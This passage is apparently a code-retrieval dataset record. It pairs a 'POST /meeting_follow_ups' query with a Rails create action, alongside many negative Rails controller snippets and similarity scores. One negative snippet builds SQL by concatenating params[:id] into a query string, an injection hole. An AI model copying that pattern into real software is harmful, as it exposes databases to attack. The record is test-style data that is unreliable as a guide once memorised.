User.find(@follow.follow_user_id)\n @ret = {\n :ret => 1,\n :user => follow_user\n }\n\n format.html { redirect_to @follow, notice: 'Follow was successfully created.' }\n #format.json { render :show, status: :created, location: @follow }\n format.json { render :show, location: @ret }\n else\n format.html { render :new }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def following\n @users = User.find(params[:id]).all_following\n render json: @users\n end", "def show\n @users_meeting = UsersMeeting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users_meeting }\n end\n end", "def show_followers\n\t@user = User.find(params[:id])\n\t\n\trender json: @user.followed_by\n\tend", "def index\n\n if params[:meeting_id]\n @meeting = Meeting.find(params[:meeting_id])\n end\n\n respond_to do |f|\n f.json {\n @meetings = Meeting\n start_p = Time.parse(params[:start])\n end_p = Time.parse(params[:end])\n @meetings = @meetings.where(\"start_at > ?\", params[:start])\n if start_p and end_p\n duration = end_p - start_p\n @meetings = @meetings.where(\"duration < ?\", duration)\n end\n\n render :json => @meetings.map{|m|\n {\n :id => m.id,\n :title => m.label,\n :start => m.start_at,\n :end => m.end_at,\n :url => \"/reunions/#{m.id}.js\",\n color: '#D42700',\n textColor: 'white'\n }\n }\n }\n f.html\n end\n end", "def create\n head 404\n # @api_v1_following = Api::V1::Following.new(api_v1_following_params)\n # @api_v1_follower.following_id = @current_user.id\n\n # if @api_v1_following.save\n # render json: @api_v1_following, status: :created, location: @api_v1_following\n # else\n # render json: @api_v1_following.errors, status: :unprocessable_entity\n # end\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def show\n @user_follow_user = UserFollowUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_follow_user }\n end\n end", "def following\n @title = \"Following\"\n @user=User.find(params[:id])\n @other_users=@user.following.paginate(:page=>params[:page], :per_page => 30)\n respond_to do |format|\n format.html { render 'show_follow' }\n format.json { render json: @other_users }\n end\n end", "def show\n @meetup_comment = MeetupComment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meetup_comment }\n end\n end", "def index\n @followings = Following.active.all(\n :conditions => {:follower_id => self.current_user.id})\n rescue => ex\n handle_exception(ex)\n ensure\n respond_to do |format|\n format.json \n end\n end", "def create\n follow_exists = Api::V1::Follower.where('follower_id =? and user_id =?', @current_user.id, params[:user_id]).first\n\n if follow_exists.nil?\n # Follower doesn't exists\n @api_v1_follower = Api::V1::Follower.new(api_v1_follower_params)\n @api_v1_follower.follower_id = @current_user.id\n @api_v1_follower.user_id = params[:user_id]\n\n if @api_v1_follower.save\n\n # create new notification\n notification = Api::V1::Notification.new\n notification.user_id = @api_v1_follower.user_id\n notification.event_type = Api::V1::Notification::TYPE_NEW_FOLLOWER\n notification.content = { :event_user_id => @current_user.id, :event_user_name => @current_user.first_name + ' ' + @current_user.last_name, :event_user_avatar => @current_user.formated_avatar }.to_json\n notification.event_object_id = @api_v1_follower.user_id\n notification.save\n\n render json: @api_v1_follower, status: :created, location: @api_v1_follower\n else\n render json: @api_v1_follower.errors, status: :unprocessable_entity\n end\n else\n render json: { error: 'already following' }, status: 401\n end\n end", "def create\n @followup = Followup.new(params[:followup])\n\n respond_to do |format|\n if @followup.save\n format.html { redirect_to @followup, notice: 'Followup was successfully created.' }\n format.json { render json: @followup, status: :created, location: @followup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @followup.errors, status: :unprocessable_entity }\n end\n end\n end", "def following\n\t\tauthenticate_current_user\n\t\t# grab all the current user's following\n\t\tfollowing = UserFollower.where(user_follower_id: current_user.id)\n\t\t# create an empty array\n\t\tfollowing_group = []\n\t\t# rotate through each following returned, and grab the user object\n\t\tfollowing.each do |x|\n\t\t\t# push each following user object into array\n\t\t\tfollowing_group.push(User.find(x.user_id))\n\t\tend\n\t\t# respond with the array of following user objects\n\t\trespond_with following_group\n\n\tend", "def following\n @title = 'Following'\n @users = @user.following.page(params[:page])\n render 'show_follow'\n end", "def fetch_user_and_followings\n @user = User.find(params[:followee_id])\n @follow = Follow.find_by(follower_id: current_user.id, followee_id: params[:followee_id])\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @usersList = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def followers\n @person = Person.find(params[:id]) \n @project = Project.find(params[:project_id])\n @persons = @person.get_all_followers\n \n respond_to do |format|\n format.html # followers.html.erb\n format.xml { render :xml => @persons }\n end\n \n end", "def show\n @meetup = Meetup.find_by(id: params[:id])\n end", "def show\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meeting }\n end\n end", "def show\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meeting }\n end\n end", "def followees\n @user = User.find params[:id]\n @users = @user.followees.page params[:page]\n @title = 'Following'\n render 'followship'\n end", "def followings\n @followings = @other_user.followings.paginate(:page => params[:page], :per_page => 20)\n end", "def followees\n @user = User.find(session[:user_id])\n @followees = @user.followees \n render 'followees'\n end", "def create\n\t\t@owner = Prover.find(params[:owner])\n\t\t@owner.follow(Prover.find(params[:follows]))\n\n\t\trespond_to do |format|\n\t\t\tif @owner.follow(Prover.find(params[:follows]))\n\t\t\t\tformat.html { render :json => {prover_id: @owner.id, following_id: params[:follows]}.to_json }\n\t\t\telse\n\t\t\t\tformat.html { render :json => {it: \"BROKE\"}.to_json, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def show\n\n \n @meet = Meet.find(params[:id])\n @track = @meet.track\n @cards = @meet.cards\n @comments = @meet.comments\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meet }\n end\n end", "def index\n @meetings = Meeting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @meetings }\n end\n end", "def following\n @title = \"Following\"\n @professional = professional.find(params[:id])\n @professionals = @professional.followed_professionals.paginate(page: params[:page])\n render 'show_follow'\n end", "def index\n head 404\n # @api_v1_followers = Api::V1::Follower.all\n\n # render json: @api_v1_followers\n end", "def show\n @meal_meeting = MealMeeting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meal_meeting }\n end\n end", "def following\n\t@title = \"Following\"\n\t@user = User.find(params[:id])\n\t@users = @user.following.paginate(page: params[:page])\n\trender 'show_follow'\n end", "def show\n @group = Group.find(params[:id])\n @meetups = Meetup.where(\"group_id = ?\", @group.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.following.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.following.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = 'Following'\n @user = User.find(params[:id])\n @users = @user.following.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\r\n @title = \"Following\"\r\n @user = User.find(params[:id])\r\n @users = @user.followed_users.paginate(page: params[:page], per_page: 25)\r\n render 'show_follow'\r\n end", "def update\n respond_to do |format|\n if @followup.update(followup_params)\n format.html { redirect_to @job, notice: 'Follow Up was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n end\n end\n end", "def meeting_follow_up_params\n params.require(:meeting_follow_up).permit(:employee_plan_id, :contact_person, :contact_no, :follow_up_response, :date, :time, :next_date, :next_time)\n end", "def following\n data['plans'][me]['following']\n end", "def followed\n\t\t@user = User.find(params[:id])\n\t\tcurrent_user.create_rel(\"FOLLOWING\", @user) \n\t\tif request.xhr?\n\t\t\trender json: { count: @user.following.count, id: @user.id }\n\t\telse\n\t\t\tredirect_to @user\n\t\tend\n\n\tend", "def show\n @user = User.find_by_username(params[:id])\n \n #Array to save all of the follow information\n @following_users = Array.new\n \n #Extracting the follow_ids out of this array\n @user.follows.each do |i|\n @following_users.push i.follow_id\n end\n \n #getting the users whose follow id is the same as the follow_id\n @followed_users = User.find_all_by_id(@following_users)\n\n #Array of Followers\n @followers = Array.new\n \n #Extracting the follow_ids out of the reverse_followers array\n @user.reverse_follows.each do |i|\n @followers.push i.follow_id\n end\n \n @shouts = Shout.order('created_at desc').paginate(:page => params[:page], :per_page => 4)\n\n if current_user\n \t@already_following = false\n \tcurrent_user.follows.each do |follow|\n \t\tif follow.follow == @user\n \t\t\t@already_following = true\n \t\t\tbreak\n \t\tend\n \tend\n \t\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "def new\n @meeting = Meeting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meeting }\n end\n end", "def new\n @meeting = Meeting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meeting }\n end\n end", "def new\n @meeting = Meeting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meeting }\n end\n end", "def show\n @title = \"ミーティング詳細\"\n @catch_phrase = \"  ミーティングの詳細情報を表示します。\"\n \n @meeting = Meeting.joins(\"JOIN users ON users.id = meetings.user_id\").find(params[:id])\n #@meeting = Meeting.find(params[:id], :include => [:user_id, :email])\n \n @datas = []\n @datas = Minute.where(\"meeting_id='\" << params[:id] << \"'\")\n if @datas.exists? then\n @minute_id = @datas[0].id\n @exist_minute = 1\n else\n @minute_id = \"なし\"\n @exist_minute = 0\n end\n \n @datas = []\n @datas = Todo.where(\"meeting_id='\" << params[:id] << \"'\")\n if @datas.exists? then\n @exist_todo = 1\n else\n @exist_todo = 0\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meeting }\n end\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.following.paginate(:page => params[:page])\n render 'show_follow'\n end", "def show\n @fetmeeting = Fetmeeting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fetmeeting }\n end\n end", "def show\n @request_meeting = RequestMeeting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request_meeting }\n end\n end", "def show\n @user_follow_location = UserFollowLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_follow_location }\n end\n end", "def new\n @users_meeting = UsersMeeting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @users_meeting }\n end\n end", "def create\n @interview = Interview.new(params[:interview])\n @followup_interview = FollowupInterview.new(params[:followup_interview])\n @followup_interview.interview = @interview\n\n respond_to do |format|\n if @followup_interview.save\n format.html { redirect_to @followup_interview, notice: 'Followup interview was successfully created.' }\n format.json { render json: @followup_interview, status: :created, location: @followup_interview }\n else\n format.html { render action: \"new\" }\n format.json { render json: @followup_interview.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @follow = current_user.follows.new(follow_params)\n @user = User.where(\"id = ?\", @follow.following )\n respond_to do |format|\n if @follow.save\n format.html { redirect_back fallback_location: root_path, notice: 'You are now following this user!' }\n format.json { render :show, status: :created, location: @follow }\n else\n format.html { render :new }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.74620175", "0.7320256", "0.6817791", "0.6717157", "0.6709369", "0.65778625", "0.6546399", "0.653914", "0.65276587", "0.6478934", "0.6467102", "0.6433175", "0.64047045", "0.6389909", "0.6389909", "0.63867295", "0.63516414", "0.6351426", "0.63359404", "0.6323726", "0.62837833", "0.6279451", "0.62787586", "0.6260145", "0.6260145", "0.6248455", "0.6240628", "0.62290347", "0.62199146", "0.62069774", "0.6181816", "0.6179988", "0.6131344", "0.6126879", "0.6126879", "0.61254376", "0.6124176", "0.61098754", "0.6099295", "0.60977983", "0.60844624", "0.6070118", "0.60698473", "0.6068755", "0.60642207", "0.6053133", "0.6042594", "0.6026205", "0.60251045", "0.60246944", "0.60238963", "0.6009262", "0.6006846", "0.6006111", "0.6006111", "0.6006111", "0.59896076", "0.5988072", "0.5986505", "0.5986323", "0.59863", "0.59862095", "0.59832954", "0.5978772", "0.5976059", "0.5975559", "0.5974363", "0.5968867", "0.5967791", "0.5967791", "0.5949466", "0.59422165", "0.5938578", "0.5930998", "0.59282047", "0.59273267", "0.5917544", "0.5909123", "0.5901044", "0.58976805", "0.5895642", "0.5885463", "0.5885463", "0.58774656", "0.5876792", "0.5872581", "0.58713365", "0.5868863", "0.58645856", "0.5862921", "0.5853558", "0.5853558", "0.5853558", "0.58461565", "0.58413017", "0.583901", "0.58383566", "0.5825301", "0.58229184", "0.58142185", "0.58087885" ]
0.0
-1
POST /meeting_follow_ups POST /meeting_follow_ups.json
def create @meeting_follow_up = MeetingFollowUp.new(meeting_follow_up_params) respond_to do |format| if @meeting_follow_up.save format.html { redirect_to meeting_follow_up_record_employee_plans_path(plan_id: params[:meeting_follow_up][:employee_plan_id]), notice: 'Meeting follow up was successfully created.' } format.json { render :show, status: :created, location: @meeting_follow_up } else format.html { render :new } format.json { render json: @meeting_follow_up.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_meeting_follow_up\n @meeting_follow_up = MeetingFollowUp.find(params[:id])\n end", "def create\n @followup = Followup.new(params[:followup])\n\n respond_to do |format|\n if @followup.save\n format.html { redirect_to @followup, notice: 'Followup was successfully created.' }\n format.json { render json: @followup, status: :created, location: @followup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @followup.errors, status: :unprocessable_entity }\n end\n end\n end", "def meeting_follow_up_params\n params.require(:meeting_follow_up).permit(:employee_plan_id, :contact_person, :contact_no, :follow_up_response, :date, :time, :next_date, :next_time)\n end", "def create\n @followup = Followup.new(followup_params)\n @followup.job = @job\n\n respond_to do |format|\n if @followup.save\n format.html { redirect_to @job, notice: 'Follow Up was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @followup.errors, status: :unprocessable_entity }\n end\n end\n end", "def follow\r\n @relationship = Relationship.create(follower_id: current_user.id, followed_id: params[:followed_id])\r\n @relationship.create_activity key: 'relationship.follow', owner: current_user, recipient: User.find(params[:followed_id])\r\n\r\n if @relationship.save\r\n render json: @relationship\r\n else\r\n render json: { error: \"Relationship creating error\" }, status: :unprocessable_entity\r\n end\r\n end", "def create\n @meetup = Meetup.new(meetup_params)\n @meetup.on_ranking = true\n authorize @meetup\n respond_to do |format|\n if @meetup.save\n @meetup.sessions.create(location_id: Location.where(active: true).first.id)\n @activity = @meetup.create_activity(current_user.id)\n @notifications = @activity.create_notification\n @meetup.holdings.create(user_id: current_user.id)\n notify_collaborators\n format.html { redirect_to meetup_path(@meetup) }\n format.json do\n render :show,\n status: :created, location: @meetup\n end\n else\n format.html { render :new }\n format.json do\n render json: @meetup.errors,\n status: :unprocessable_entity\n end\n end\n end\n end", "def create\n @interview = Interview.new(params[:interview])\n @followup_interview = FollowupInterview.new(params[:followup_interview])\n @followup_interview.interview = @interview\n\n respond_to do |format|\n if @followup_interview.save\n format.html { redirect_to @followup_interview, notice: 'Followup interview was successfully created.' }\n format.json { render json: @followup_interview, status: :created, location: @followup_interview }\n else\n format.html { render action: \"new\" }\n format.json { render json: @followup_interview.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_start_following_a_user\r\n post \"/follows.json?api_key=bobbyapikey&followee_id=3\" \r\n assert_response :created\r\n follow = JSON.parse(response.body) \r\n assert follow['follower_id'] == 6\r\n assert follow['followee_id'] == 3\r\n end", "def update\n respond_to do |format|\n if @meeting_follow_up.update(meeting_follow_up_params)\n format.html { redirect_to @meeting_follow_up, notice: 'Meeting follow up was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting_follow_up }\n else\n format.html { render :edit }\n format.json { render json: @meeting_follow_up.errors, status: :unprocessable_entity }\n end\n end\n end", "def follow(user)\n\tout_followings.create(to_id: user.id)\nend", "def create\n head 404\n # @api_v1_following = Api::V1::Following.new(api_v1_following_params)\n # @api_v1_follower.following_id = @current_user.id\n\n # if @api_v1_following.save\n # render json: @api_v1_following, status: :created, location: @api_v1_following\n # else\n # render json: @api_v1_following.errors, status: :unprocessable_entity\n # end\n end", "def create\n follow_exists = Api::V1::Follower.where('follower_id =? and user_id =?', @current_user.id, params[:user_id]).first\n\n if follow_exists.nil?\n # Follower doesn't exists\n @api_v1_follower = Api::V1::Follower.new(api_v1_follower_params)\n @api_v1_follower.follower_id = @current_user.id\n @api_v1_follower.user_id = params[:user_id]\n\n if @api_v1_follower.save\n\n # create new notification\n notification = Api::V1::Notification.new\n notification.user_id = @api_v1_follower.user_id\n notification.event_type = Api::V1::Notification::TYPE_NEW_FOLLOWER\n notification.content = { :event_user_id => @current_user.id, :event_user_name => @current_user.first_name + ' ' + @current_user.last_name, :event_user_avatar => @current_user.formated_avatar }.to_json\n notification.event_object_id = @api_v1_follower.user_id\n notification.save\n\n render json: @api_v1_follower, status: :created, location: @api_v1_follower\n else\n render json: @api_v1_follower.errors, status: :unprocessable_entity\n end\n else\n render json: { error: 'already following' }, status: 401\n end\n end", "def create\n entry_time = DateTime.now.strftime(\"%Y-%m-%d %H:%M:%S\")\n \n follows = Follow.where(\"user_id = ? and game_id = ? and follow_user_id = ?\", params[:follow][:user_id], params[:follow][:game_id], params[:follow][:follow_user_id])\n \n if follows[0].blank? then\n @follow = Follow.new(create_follow_params)\n @follow.created_at = entry_time\n @follow.updated_at = entry_time\n \n @follower = Follower.new\n @follower.user_id = @follow.follow_user_id\n @follower.game_id = @follow.game_id\n @follower.follower_user_id = @follow.user_id\n @follower.created_at = entry_time\n @follower.updated_at = entry_time\n\n else\n @follow = follows[0]\n @follow.updated_at = entry_time\n @follow.delete_flag = false\n\n followers = Follower.where(\"user_id = ? and game_id = ? and follower_user_id = ?\", params[:follow][:follow_user_id], params[:follow][:game_id], params[:follow][:user_id])\n @follower = followers[0]\n @follower.updated_at = entry_time\n @follower.delete_flag = false\n\n end\n\n respond_to do |format|\n if @follow.save\n @follower.save\n \n follow_user = User.find(@follow.follow_user_id)\n @ret = {\n :ret => 1,\n :user => follow_user\n }\n\n format.html { redirect_to @follow, notice: 'Follow was successfully created.' }\n #format.json { render :show, status: :created, location: @follow }\n format.json { render :show, location: @ret }\n else\n format.html { render :new }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @meeting_follow_ups = MeetingFollowUp.all\n end", "def create\n @meetup = Meetup.new(params[:meetup])\n\t@meetup.meetupdetails\n\n\n respond_to do |format|\n if @meetup.save\n\n\t\t\n\t\t\n \n\n format.html { redirect_to @meetup, notice: 'Meetup was successfully created.' }\n format.json { render json: @meetup, status: :created, location: @meetup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @meetup.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n meetup = Meetup.new(meetup_params)\n meetup.friend = User.find_by(id: params[:user_id])\n meetup.primary = current_user\n meetup.acceptStatus=false\n meetup.meetup_at+=8.hour\n meetup.save\n \n redirect_to user_meetup_url(current_user, meetup)\n end", "def create\n @meetup = Meetup.new(meetup_params)\n\n respond_to do |format|\n if @meetup.save\n # this should take us to conversations.\n # format.html { redirect_to @meetup, notice: \"Meetup was successfully created.\" }\n # instead of showing the meetup, we want to share it!\n format.html { redirect_to conversations_path(@meetup), notice: \"Meetup was successfully created. Please click on a conversation to share your meetup.\" }\n format.json { render :show, status: :created, location: @meetup }\n # p @meetup, '< MEETUP'\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @meetup.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n @event.organization = current_user\n\n respond_to do |format|\n if @event.save\n\n @event.organization.follows.each do | follow | \n Pony.mail :to => \"\\\"#{follow.volunteer.name}\\\" <#{follow.volunteer.email}>\",\n :from => \"FundIt <fundit@fundit.org>\",\n :subject => \"#{@event.organization.name} created a new FundIt event #{@event.name}.\",\n :body => \"Check it out at http://fundit.herokuapp.com/organizations/#{@event.organization.id}/events/#{@event.id}.\"\n end\n\n format.html { redirect_to organization_event_url(@event.organization, @event), notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_follow\n @follow = Follow.create(follow_params)\n redirect_to story_path(@follow.story_id)\n end", "def create\n current_account.follow(@account)\n # TODO: Set up a mailer for notifying accounts of new followers\n respond_to do |format|\n format.html { redirect_to account_url }\n format.json { render :status }\n end\n\n end", "def create\n\t\t@owner = Prover.find(params[:owner])\n\t\t@owner.follow(Prover.find(params[:follows]))\n\n\t\trespond_to do |format|\n\t\t\tif @owner.follow(Prover.find(params[:follows]))\n\t\t\t\tformat.html { render :json => {prover_id: @owner.id, following_id: params[:follows]}.to_json }\n\t\t\telse\n\t\t\t\tformat.html { render :json => {it: \"BROKE\"}.to_json, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @follower = Follower.new(params[:follower])\n\n respond_to do |format|\n if @follower.save\n format.html { redirect_to @follower, notice: 'Follower was successfully created.' }\n format.json { render json: @follower, status: :created, location: @follower }\n else\n format.html { render action: \"new\" }\n format.json { render json: @follower.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_follows\n\t#params[:id] is user who follows \n\t#params[:follows_id] is user to be followed\n\t\n\t#make follower\n\t@follower = User.find(params[:id])\n\t\n\t#make followed\n\t@followed = User.find(params[:follows_id])\n\t\n\tif \n\t\t@follower.follows << @followed\n\t\thead :no_content\n\telse\n\t\trender json: @follower.errors, status: :unprocessable_entity\n\tend\nend", "def new\n @followup = Followup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @followup }\n end\n end", "def create\n @follow = current_user.follows.new(follow_params)\n @user = User.where(\"id = ?\", @follow.following )\n respond_to do |format|\n if @follow.save\n format.html { redirect_back fallback_location: root_path, notice: 'You are now following this user!' }\n format.json { render :show, status: :created, location: @follow }\n else\n format.html { render :new }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @meetup = Meetup.new\n @recipient = User.find_by_id(params[:recipient_id])\n \n @recipient_meetups = []\n @recipient.upcoming_meetups.each do |m|\n @recipient_meetups.push({:title=> @recipient.name, :start=> m.date.strftime('%m-%d-%Y %H:%M:%S'), :end=> (m.date + 1.hour).strftime('%m-%d-%Y %H:%M:%S'), :allDay=> false})\n end\n \n @my_meetups = []\n current_user.upcoming_meetups.each do |m|\n @my_meetups.push({:title=> current_user.name, :start=> m.date.strftime('%m-%d-%Y %H:%M:%S'), :end=> (m.date + 1.hour).strftime('%m-%d-%Y %H:%M:%S'), :allDay=> false})\n end\n\n gon.recipient = @recipient\n gon.me = current_user\n gon.recipient_meetups = @recipient_meetups\n gon.my_meetups = @my_meetups\n \n @current_user = current_user\n @prev_meetup_id = params[:prev_meetup_id]\n \n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def follow\n if request.post?\n fo_ids = params[:follow] \n #fo_str = \"\"\n #fo_cnt = fo_ids.length - 1\n #for i in 0..fo_cnt\n # fo_str +=fo_ids[i].to_s\n # fo_str += \",\" unless fo_cnt == i\n #end\n \n fo_ids.each do |fid|\n hydra = Typhoeus::Hydra.new\n uri = \"http://api.twitter.com/1/friendships/create.json\"\n req = Typhoeus::Request.new(uri,\n :method =>\"post\",\n :params =>{:user_id=>fid, :include_entities=>\"true\"})\n \n sign_request(req,uri)\n hydra.queue(req)\n hydra.run\n #puts req.response.inspect\n end\n end\n redirect_to :action=>\"index\", :page=>\"1\" \n end", "def create_follow_params\n params.require(:follow).permit(:user_id, :game_id, :follow_user_id, :delete_flag, :created_at, :updated_at)\n end", "def create\n @follow_up_type = FollowUpType.new(follow_up_type_params)\n\n respond_to do |format|\n if @follow_up_type.save\n format.html { redirect_to @follow_up_type, notice: 'Follow up type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @follow_up_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @follow_up_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @follow = Follow.new(follow_params)\n\n respond_to do |format|\n if @follow.save\n format.html { redirect_to @follow, notice: 'Follow was successfully created.' }\n format.json { render :show, status: :created, location: @follow }\n else\n format.html { render :new }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.find(params[:relationship][:followed_id])\n current_user.follow!(@user)\n respond_with @user\n #no worked are needed. Sidekiq suppoerts delayed mailer by default.\n UserMailer.delay.follower_confirmation(current_user, @user)\n end", "def create_follow\n user.follow_questions.create(question: self.question)\n end", "def follow_up_params\n params.require(:follow_up).permit(\n :person_id, :follow_date, :did_work, :have_job_returning_to,\n :hours_worked, :occupation_id, :industry_id,\n :exposed_to_hazardous_condition, :subject_to_abuses,\n :performed_housework, :hours_worked_on_housework, :enrolled_in_school,\n :latitude, :longitude, :position_accuracy, :altitude, :altitude_accuracy,\n :heading, :speed, :gps_recorded_at,\n :work_activity_ids => [],\n :hazardous_condition_ids => [],\n :household_task_ids => [])\n end", "def destroy\n @meeting_follow_up.destroy\n respond_to do |format|\n format.html { redirect_to meeting_follow_ups_url, notice: 'Meeting follow up was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def follow!(followed)\n relationships.create!(:followed_id => followed.id)\n end", "def create\n @incidentfollowup = Incidentfollowup.new(incidentfollowup_params)\n incident = @incidentfollowup.incident\n incident.status = @incidentfollowup.status\n incident.save\n respond_to do |format|\n if @incidentfollowup.save\n format.html { redirect_to @incidentfollowup.incident, notice: 'Incidentfollowup was successfully created.' }\n format.json { render :show, status: :created, location: @incidentfollowup }\n else\n format.html { render :new }\n format.json { render json: @incidentfollowup.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_follows\n \t@follower = User.find(params[:id])\n \t@followed = User.find(params[:follows_id])\n \t\n \tif @follower.follows << @followed\n \t\t\n \telse\n \t\trender json @follower.errors\n \tend\n end", "def create\n @follow = Follow.new(params[:follow])\n\n respond_to do |format|\n if @follow.save\n @followee = User.find(@follow.followee_id)\n format.js { render :action => '../follows/ajax/follow'}\n else\n format.html { render action: \"new\" }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_follow\n user.follow_questions.create(question: self)\n end", "def create\n @user=User.find(params[:user_id])\n @follower = @user.followers.create(follower_params)\n if @follower.save\n render json: @follower, status: :created\n else\n render json: @follower.errors, status: :unprocessable_entity\n end\n end", "def follow!(followed)\n self.relationships.create!(:followed_id => followed.id)\n end", "def create\n @follow = Follow.create(follow_params)\n if @follow.save\n flash[:notice] = 'You started following'\n else\n flash[:alert] = 'Error to follow'\n end\n redirect_to users_path\n end", "def create\n @user = User.find(params[:relationship][:followed_id])\n current_user.follow!(@user)\n respond_to do |format|\n format.html { redirect_to @user }\n format.js\n end\n end", "def create\n @user = User.find(params[:relationship][:followed_id])\n current_user.follow!(@user)\n respond_to do |format|\n format.html { redirect_to @user }\n format.js\n end\n end", "def create\n @user = User.find(params[:following_id])\n current_user.follow(@user)\n respond_to do |format|\n format.html {}\n format.js \n end\n end", "def update\n respond_to do |format|\n if @followup.update(followup_params)\n format.html { redirect_to @job, notice: 'Follow Up was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n end\n end\n end", "def follow(user)\n active_follows.create(followed_id: user.id)\n \n end", "def follow_up\r\n @node = Node.new(node_params)\r\n @parent = Node.find(params[:id])\r\n @story = @parent.story \r\n @node.story = @story\r\n @node.parent = @parent\r\n @node.level = @parent.level + 1\r\n @node.path = \"#{@parent.path}, #{@parent.id}\"\r\n if current_user != nil\r\n \t@node.user_id = current_user.id\r\n\t\telse\r\n\t\t\t@node.user_id =0\r\n\t\tend\r\n\t\t\r\n respond_to do |format|\r\n if @node.save\r\n \r\n format.html { redirect_to story_path(@story), notice: \"You just follow up.\" }\r\n # format.json { render \"success\"}\r\n format.json { render json: @parent, status: :ok}\r\n \r\n else\r\n \r\n format.html { render action: 'new_follow'}\r\n format.json { render json: @node.errors, status: :unprocessable_entity}\r\n end\r\n end\r\n end", "def create\n @user = current_user\n @meeting = current_user.meetings.build(meeting_params)\n\n respond_to do |format|\n if @meeting.save\n format.html { redirect_to root_path, notice: 'Enhorabuena! Tienes una nueva reunion.' }\n format.json { render :show, status: :created, location: @meeting }\n else\n format.html { render :new }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @meeting = Meeting.new(create_params)\n respond_to do |format|\n if @meeting.save\n format.html { redirect_to @meeting, notice: 'Meeting was successfully created.' }\n format.json { render :show, status: :created, location: @meeting }\n else\n format.html { render :new }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n add_user_meeting_relation\n end", "def create\n @follow = Follow.new()\n @follow.luser_id = current_user.luser.id\n fluser = Luser.find(:first, :conditions => {:name => params[:username]})\n @follow.following_luser_id = fluser.id\n \n current = Follow.find(:first, :conditions => {:luser_id => current_user.luser.id, \n :following_luser_id => fluser.id })\n \n respond_to do |format|\n if current != nil\n current.destroy\n format.json { head :no_content }\n elsif @follow.save\n recieving_user = Luser.find(@follow.following_luser_id)\n Notification.add(@follow, nil,\"follow\", recieving_user, current_user.luser)\n LuserMailer.new_follower(User.find(fluser.user_id), current_user.luser).deliver\n format.html { redirect_to @follow, notice: 'You are now following ' + fluser.name }\n format.json { render json: @follow, status: :created, location: @follow 